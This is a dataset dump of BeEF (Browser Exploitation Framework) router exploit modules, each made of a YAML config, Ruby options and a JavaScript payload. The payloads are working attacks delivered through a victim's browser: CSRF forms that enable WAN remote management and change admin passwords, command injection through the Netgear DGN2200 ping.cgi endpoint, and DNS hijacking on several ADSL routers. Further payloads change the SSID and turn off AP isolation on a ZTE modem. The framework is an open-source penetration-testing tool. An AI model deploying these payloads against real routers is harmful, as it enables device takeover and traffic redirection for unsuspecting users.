language
stringlengths
0
24
filename
stringlengths
9
214
code
stringlengths
99
9.93M
YAML
beef/modules/exploits/router/linksys_wrt54g_csrf/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: linksys_wrt54g_csrf: enable: true category: ["Exploits", "Router"] name: "Linksys WRT54G CSRF" description: "Attempts to enable remote administration and change the password on a Linksys WRT54G router." authors: ["Martin Barbella"] target: working: ["ALL"]
Ruby
beef/modules/exploits/router/linksys_wrt54g_csrf/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Linksys_wrt54g_csrf < BeEF::Core::Command def self.options [ { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/' }, { 'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337' }, { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var base = '<%= @base %>'; var sourceip = '<%= @sourceip %>'; var port = '<%= @port %>'; var acl = sourceip != '0.0.0.0' ? 'ip_address_list1' : 'all'; var parts = []; if (sourceip != '0.0.0.0'){ parts = sourceip.split('.'); } var netgear_iframe = beef.dom.createIframeXsrfForm(base, 'POST', 'application/x-www-form-urlencoded', [ { type: 'hidden', name: 'remote_mg', value: 'remote_mg' }, { type: 'hidden', name: 'rm_ip1', value: '' }, { type: 'hidden', name: 'rm_ip2', value: '' }, { type: 'hidden', name: 'rm_ip3', value: '' }, { type: 'hidden', name: 'rm_ip4', value: '' }, { type: 'hidden', name: 'rm_start_ip1', value: '' }, { type: 'hidden', name: 'rm_start_ip2', value: '' }, { type: 'hidden', name: 'rm_start_ip3', value: '' }, { type: 'hidden', name: 'rm_start_ip4', value: '' }, { type: 'hidden', name: 'rm_finish_ip1', value: '' }, { type: 'hidden', name: 'rm_finish_ip2', value: '' }, { type: 'hidden', name: 'rm_finish_ip3', value: '' }, { type: 'hidden', name: 'rm_finish_ip4', value: '' }, { type: 'hidden', name: 'rm_list1_ip1_ip1', value: parts.length === 4 ? parts[0] : '' }, { type: 'hidden', name: 'rm_list1_ip1_ip2', value: parts.length === 4 ? parts[1] : '' }, { type: 'hidden', name: 'rm_list1_ip1_ip3', value: parts.lentgh === 4 ? parts[2] : '' }, { type: 'hidden', name: 'rm_list1_ip1_ip4', value: parts.length === 4 ? parts[3] : '' }, { type: 'hidden', name: 'rm_list1_ip2_ip1', value: '' }, { type: 'hidden', name: 'rm_list1_ip2_ip2', value: '' }, { type: 'hidden', name: 'rm_list1_ip2_ip3', value: '' }, { type: 'hidden', name: 'rm_list1_ip2_ip4', value: '' }, { type: 'hidden', name: 'rm_list1_ip3_ip1', value: '' }, { type: 'hidden', name: 'rm_list1_ip3_ip2', value: '' }, { type: 'hidden', name: 'rm_list1_ip3_ip3', value: '' }, { type: 'hidden', name: 'rm_list1_ip3_ip4', value: '' }, { type: 'hidden', name: 'rm_list1_ip4_ip1', value: '' }, { type: 'hidden', name: 'rm_list1_ip4_ip2', value: '' }, { type: 'hidden', name: 'rm_list1_ip4_ip3', value: '' }, { type: 'hidden', name: 'rm_list1_ip4_ip4', value: '' }, { type: 'hidden', name: 'rm_list1_ip5_ip1', value: '' }, { type: 'hidden', name: 'rm_list1_ip5_ip2', value: '' }, { type: 'hidden', name: 'rm_list1_ip5_ip3', value: '' }, { type: 'hidden', name: 'rm_list1_ip5_ip4', value: '' }, { type: 'hidden', name: 'rm_list1_ip6_ip1', value: '' }, { type: 'hidden', name: 'rm_list1_ip6_ip2', value: '' }, { type: 'hidden', name: 'rm_list1_ip6_ip3', value: '' }, { type: 'hidden', name: 'rm_list1_ip6_ip4', value: '' }, { type: 'hidden', name: 'rm_list1_ip7_ip1', value: '' }, { type: 'hidden', name: 'rm_list1_ip7_ip2', value: '' }, { type: 'hidden', name: 'rm_list1_ip7_ip3', value: '' }, { type: 'hidden', name: 'rm_list1_ip7_ip4', value: '' }, { type: 'hidden', name: 'rm_list1_ip8_ip1', value: '' }, { type: 'hidden', name: 'rm_list1_ip8_ip2', value: '' }, { type: 'hidden', name: 'rm_list1_ip8_ip3', value: '' }, { type: 'hidden', name: 'rm_list1_ip8_ip4', value: '' }, { type: 'hidden', name: 'rm_list1_ip9_ip1', value: '' }, { type: 'hidden', name: 'rm_list1_ip9_ip2', value: '' }, { type: 'hidden', name: 'rm_list1_ip9_ip3', value: '' }, { type: 'hidden', name: 'rm_list1_ip9_ip4', value: '' }, { type: 'hidden', name: 'rm_list1_ip10_ip1', value: '' }, { type: 'hidden', name: 'rm_list1_ip10_ip2', value: '' }, { type: 'hidden', name: 'rm_list1_ip10_ip3', value: '' }, { type: 'hidden', name: 'rm_list1_ip10_ip4', value: '' }, { type: 'hidden', name: 'rm_access', value: acl }, { type: 'hidden', name: 'remote_port', value: port }, { type: 'hidden', name: 'apply', value: 'Apply' }, { type: 'hidden', name: 'todo', value: 'save' }, { type: 'hidden', name: 'this_file', value: 'remotemg.htm' }, { type: 'hidden', name: 'next_file', value: 'remotemg.htm' }, { type: 'hidden', name: 'c4_rm_ip', value: '' }, { type: 'hidden', name: 'c4_rm_start_ip', value: '' }, { type: 'hidden', name: 'c4_rm_finish_ip', value: '' }, { type: 'hidden', name: 'c4_rm_list1_ip1_ip', value: sourceip }, { type: 'hidden', name: 'c4_rm_list1_ip2_ip', value: '' }, { type: 'hidden', name: 'c4_rm_list1_ip3_ip', value: '' }, { type: 'hidden', name: 'c4_rm_list1_ip4_ip', value: '' }, { type: 'hidden', name: 'c4_rm_list1_ip5_ip', value: '' }, { type: 'hidden', name: 'c4_rm_list1_ip6_ip', value: '' }, { type: 'hidden', name: 'c4_rm_list1_ip7_ip', value: '' }, { type: 'hidden', name: 'c4_rm_list1_ip8_ip', value: '' }, { type: 'hidden', name: 'c4_rm_list1_ip9_ip', value: '' }, { type: 'hidden', name: 'c4_rm_list1_ip10_ip', value: '' }, { type: 'hidden', name: 'h_remote_mg', value: 'enable' }, { type: 'hidden', name: 'h_rm_access', value: acl } ]); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=exploit attempted'); cleanup = function() { document.body.removeChild(netgear_iframe); } setTimeout('cleanup()', 15000); });
YAML
beef/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: Netgear_dgn_2000_wan_mgmt_csrf: enable: true category: [ "Exploits", "Router" ] name: "Netgear DGN 2000 WAN Remote Management" description: "Attempts to enable remote management of the router on the WAN" authors: ["Nick Starke"] target: working: ["ALL"]
Ruby
beef/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Netgear_dgn_2000_wan_mgmt_csrf < BeEF::Core::Command def self.options [ { 'name' => 'base', 'ui_label' => 'Router URL', 'value' => 'http://192.168.0.1' }, { 'name' => 'port', 'ui_label' => 'Port', 'value' => 8080 }, { 'name' => 'sourceip', 'ui_label' => 'Source IP', 'value' => '0.0.0.0' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/router/netgear_dgn2200_cmd_exec/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var cmd = '<%= Base64.strict_encode64(@cmd) %>'; var timeout = 15; var netgear_dgn2200_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); netgear_dgn2200_iframe_<%= @command_id %>.setAttribute('src',"http://" + rhost + "/ping.cgi?IPAddr1=8&IPAddr2=8&IPAddr3=8&IPAddr4=8&ping=Ping&ess_=" + Math.random().toString(36).substring(2,10) + "&ping_IPAddr=`" + beef.encode.base64.decode(cmd) + "`"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(netgear_dgn2200_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/router/netgear_dgn2200_cmd_exec/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: netgear_dgn2200_cmd_exec: enable: true category: ["Exploits", "Router"] name: "Netgear DGN2200 Command Execution" description: "This module exploits <a href='http://securitygodmode.blogspot.com/2016/02/netgears-dgn2200-multiple.html'>authentication bypass and command execution vulnerabilities</a> to execute arbitrary commands on Netgear DGN2200 routers." authors: ["0x3d5157636b525761", "bcoles"] target: working: ["ALL"]
Ruby
beef/modules/exploits/router/netgear_dgn2200_cmd_exec/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Netgear_dgn2200_cmd_exec < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'IP address', 'value' => '10.0.0.1' }, { 'name' => 'cmd', 'ui_label' => 'Command to execute', 'value' => '' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/router/phillips_dns_hijack/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // config var target = 'http://<%= @rhost %>/cgi-bin/setup_dns.exe'; var dns1 = '<%= @dns1 %>'; var dns2 = '<%= @dns2 %>'; var timeout = 15; // validate primary DNS server IP address if (!beef.net.is_valid_ip(dns1)) { beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } var parts = dns1.split('.'); var dns1_1 = parts[0]; var dns1_2 = parts[1]; var dns1_3 = parts[2]; var dns1_4 = parts[3]; // validate secondary DNS server IP address if (!beef.net.is_valid_ip(dns2)) { beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } var parts = dns2.split('.'); var dns2_1 = parts[0]; var dns2_2 = parts[1]; var dns2_3 = parts[2]; var dns2_4 = parts[3]; // change DNS var philips_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ {'type':'hidden', 'name':'page', 'value':'setup_dns'}, {'type':'hidden', 'name':'logout', 'value':''}, {'type':'hidden', 'name':'dns1_1', 'value':dns1_1}, {'type':'hidden', 'name':'dns1_2', 'value':dns1_2}, {'type':'hidden', 'name':'dns1_3', 'value':dns1_3}, {'type':'hidden', 'name':'dns1_4', 'value':dns1_4}, {'type':'hidden', 'name':'dns2_1', 'value':dns2_1}, {'type':'hidden', 'name':'dns2_2', 'value':dns2_2}, {'type':'hidden', 'name':'dns2_3', 'value':dns2_3}, {'type':'hidden', 'name':'dns2_4', 'value':dns2_4} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); // clean up cleanup = function() { document.body.removeChild(philips_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/router/phillips_dns_hijack/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # References: # https://bugzilla.mozilla.org/show_bug.cgi?id=371598 # http://www.gnucitizen.org/blog/router-hacking-challenge/ # beef: module: philips_dns_hijack: enable: true category: ["Exploits", "Router"] name: "Philips DNS Hijack" description: "Attempts to change the DNS setting on a Philips router.<br/><br/>Philips routers reportedly do not require authentication to change the DNS servers.<br/><br/>This module has not been tested." authors: ["bob"] target: unknown: ["ALL"]
Ruby
beef/modules/exploits/router/phillips_dns_hijack/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission class Philips_dns_hijack < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' }, { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' }, { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/router/pikatel_96338_dns_hijack/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // config var target = 'http://<%= @rhost %>/dnscfg.cgi'; var dns1 = '<%= @dns1 %>'; var dns2 = '<%= @dns2 %>'; var timeout = 15; // validate DNS server IP addresses if (!beef.net.is_valid_ip(dns1)) { beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } if (!beef.net.is_valid_ip(dns2)) { beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } // change DNS var pikatel_96338_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ {'type':'hidden', 'name':'dnsPrimary', 'value': dns1}, {'type':'hidden', 'name':'dnsSecondary', 'value': dns2}, {'type':'hidden', 'name':'dnsDynamic', 'value': '0'}, {'type':'hidden', 'name':'dnsRefresh', 'value': '1'} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); // clean up cleanup = function() { document.body.removeChild(pikatel_96338_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/router/pikatel_96338_dns_hijack/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # References: # https://www.exploit-db.com/exploits/40369/ # beef: module: pikatel_96338_dns_hijack: enable: true category: ["Exploits", "Router"] name: "PIKATEL Router DNS Hijack" description: "Attempts to change the DNS setting on PIKATEL 96338WS and 96338L-2M-8M routers.<br/><br/>These routers reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested." authors: ["Todor Donev"] target: unknown: ["ALL"]
Ruby
beef/modules/exploits/router/pikatel_96338_dns_hijack/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Pikatel_96338_dns_hijack < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' }, { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' }, { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // config var target = 'http://<%= @rhost %>/dnscfg.cgi'; var dns1 = '<%= @dns1 %>'; var dns2 = '<%= @dns2 %>'; var timeout = 15; // validate DNS server IP addresses if (!beef.net.is_valid_ip(dns1)) { beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } if (!beef.net.is_valid_ip(dns2)) { beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } // change DNS var planet_vdr300nu_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ {'type':'hidden', 'name':'dnsPrimary', 'value': dns1}, {'type':'hidden', 'name':'dnsSecondary', 'value': dns2}, {'type':'hidden', 'name':'dnsDynamic', 'value': '0'}, {'type':'hidden', 'name':'dnsRefresh', 'value': '1'} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); // clean up cleanup = function() { document.body.removeChild(planet_vdr300nu_adsl_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # References: # https://www.exploit-db.com/exploits/40370/ # beef: module: planet_vdr300nu_adsl_dns_hijack: enable: true category: ["Exploits", "Router"] name: "Planet VDR-300NU ADSL Router DNS Hijack" description: "Attempts to change the DNS setting on a PLANET VDR-300NU ADSL router.<br/><br/>This router reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested." authors: ["Todor Donev"] target: unknown: ["ALL"]
Ruby
beef/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Planet_vdr300nu_adsl_dns_hijack < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' }, { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' }, { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/router/shuttle_tech_915wm_dns_hijack/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // config var target = 'http://<%= @rhost %>/dnscfg.cgi'; var dns1 = '<%= @dns1 %>'; var dns2 = '<%= @dns2 %>'; var timeout = 15; // validate DNS server IP addresses if (!beef.net.is_valid_ip(dns1)) { beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } if (!beef.net.is_valid_ip(dns2)) { beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } // change DNS var shuttle_tech_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ {'type':'hidden', 'name':'dnsPrimary', 'value': dns1}, {'type':'hidden', 'name':'dnsSecondary', 'value': dns2}, {'type':'hidden', 'name':'dnsDynamic', 'value': '0'}, {'type':'hidden', 'name':'dnsRefresh', 'value': '1'} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); // clean up cleanup = function() { document.body.removeChild(shuttle_tech_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/router/shuttle_tech_915wm_dns_hijack/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # References: # http://www.exploit-db.com/exploits/35995/ # beef: module: shuttle_tech_915wm_dns_hijack: enable: true category: ["Exploits", "Router"] name: "Shuttle Tech 915 WM DNS Hijack" description: "Attempts to change the DNS setting on a Shuttle Tech 915 WM router.<br/><br/>The Shuttle Tech ADSL Modem-Router 915 WM reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested." authors: ["Todor Donev"] target: unknown: ["ALL"]
Ruby
beef/modules/exploits/router/shuttle_tech_915wm_dns_hijack/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Shuttle_tech_915wm_dns_hijack < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' }, { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' }, { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/router/telstra_zte_mf91_change_pw/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var password = '<%= @password %>'; var timeout = 15; var telstra_zte_mf91_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); telstra_zte_mf91_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+'/goform/upd_pwd?password='+password); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(telstra_zte_mf91_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/router/telstra_zte_mf91_change_pw/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # References: # http://www.sw1tch.net/blog/pwning-telstras-zte-mf91-4g-modem # http://www.zte.com.au/downloads/manuals/MF91_Help.pdf # beef: module: telstra_zte_mf91_change_pw: enable: true category: ["Exploits", "Router"] name: "Telstra ZTE MF91 Change Password" description: "Attempts to change the administrator password on a Telstra ZTE MF91 Pre-paid 4G modem.<br/><br/>The ZTE MF91 reportedly does not require authentication to change the password.<br/><br/>This module has not been tested." authors: ["sw1tch"] target: working: ["ALL"]
Ruby
beef/modules/exploits/router/telstra_zte_mf91_change_pw/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Telstra_zte_mf91_change_pw < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Target', 'value' => 'telstra.wifi.4g' }, { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/router/telstra_zte_mf91_change_ssid/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var ssid = '<%= @ssid %>'; var timeout = 15; var telstra_zte_mf91_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); telstra_zte_mf91_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+'/goform/wlan_set_basic_sap_profile?ssid='+ssid); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(telstra_zte_mf91_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/router/telstra_zte_mf91_change_ssid/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # References: # http://www.sw1tch.net/blog/pwning-telstras-zte-mf91-4g-modem # http://www.zte.com.au/downloads/manuals/MF91_Help.pdf # beef: module: telstra_zte_mf91_change_ssid: enable: true category: ["Exploits", "Router"] name: "Telstra ZTE MF91 Change SSID" description: "Attempts to change the wireless SSID on a Telstra ZTE MF91 Pre-paid 4G modem.<br/><br/>The ZTE MF91 reportedly does not require authentication to change the wireless SSID.<br/><br/>This module has not been tested." authors: ["sw1tch"] target: working: ["ALL"]
Ruby
beef/modules/exploits/router/telstra_zte_mf91_change_ssid/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Telstra_zte_mf91_change_ssid < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Target', 'value' => 'telstra.wifi.4g' }, { 'name' => 'ssid', 'ui_label' => 'Desired SSID', 'value' => 'BeEF' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var timeout = 15; var telstra_zte_mf91_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); telstra_zte_mf91_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+'/goform/wlan_set_basic_sap_profile?=DISABLE'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(telstra_zte_mf91_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # References: # http://www.sw1tch.net/blog/pwning-telstras-zte-mf91-4g-modem # http://www.zte.com.au/downloads/manuals/MF91_Help.pdf # beef: module: telstra_zte_mf91_disable_ap_isolation: enable: true category: ["Exploits", "Router"] name: "Telstra ZTE MF91 Disable AP Isolation" description: "Attempts to disable AP isolation mode on a Telstra ZTE MF91 Pre-paid 4G modem.<br/><br/>The ZTE MF91 reportedly does not require authentication to disable AP isolation mode.<br/><br/>This module has not been tested." authors: ["sw1tch"] target: working: ["ALL"]
Ruby
beef/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Telstra_zte_mf91_disable_ap_isolation < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Target', 'value' => 'telstra.wifi.4g' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/router/tenda_adsl_dns_hijack/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // config var target = 'http://<%= @rhost %>/dnscfg.cgi'; var dns1 = '<%= @dns1 %>'; var dns2 = '<%= @dns2 %>'; var timeout = 15; // validate DNS server IP addresses if (!beef.net.is_valid_ip(dns1)) { beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } if (!beef.net.is_valid_ip(dns2)) { beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } // change DNS var tenda_adsl_963281tan_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ {'type':'hidden', 'name':'dnsPrimary', 'value': dns1}, {'type':'hidden', 'name':'dnsSecondary', 'value': dns2}, {'type':'hidden', 'name':'dnsDynamic', 'value': '0'}, {'type':'hidden', 'name':'dnsRefresh', 'value': '1'} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); // clean up cleanup = function() { document.body.removeChild(tenda_adsl_963281tan_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/router/tenda_adsl_dns_hijack/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # References: # https://www.exploit-db.com/exploits/40371/ # https://www.exploit-db.com/exploits/41078/ # https://www.exploit-db.com/exploits/41117/ # beef: module: tenda_adsl_dns_hijack: enable: true category: ["Exploits", "Router"] name: "Tenda ADSL Router DNS Hijack" description: "Attempts to change the DNS setting on Tenda ADSL2/2+ Modem 963281TAN, D840R and D820R routers.<br/><br/>These routers reportedly do not require authentication to change the DNS servers.<br/><br/>This module has not been tested." authors: ["Todor Donev"] target: unknown: ["ALL"]
Ruby
beef/modules/exploits/router/tenda_adsl_dns_hijack/module.rb
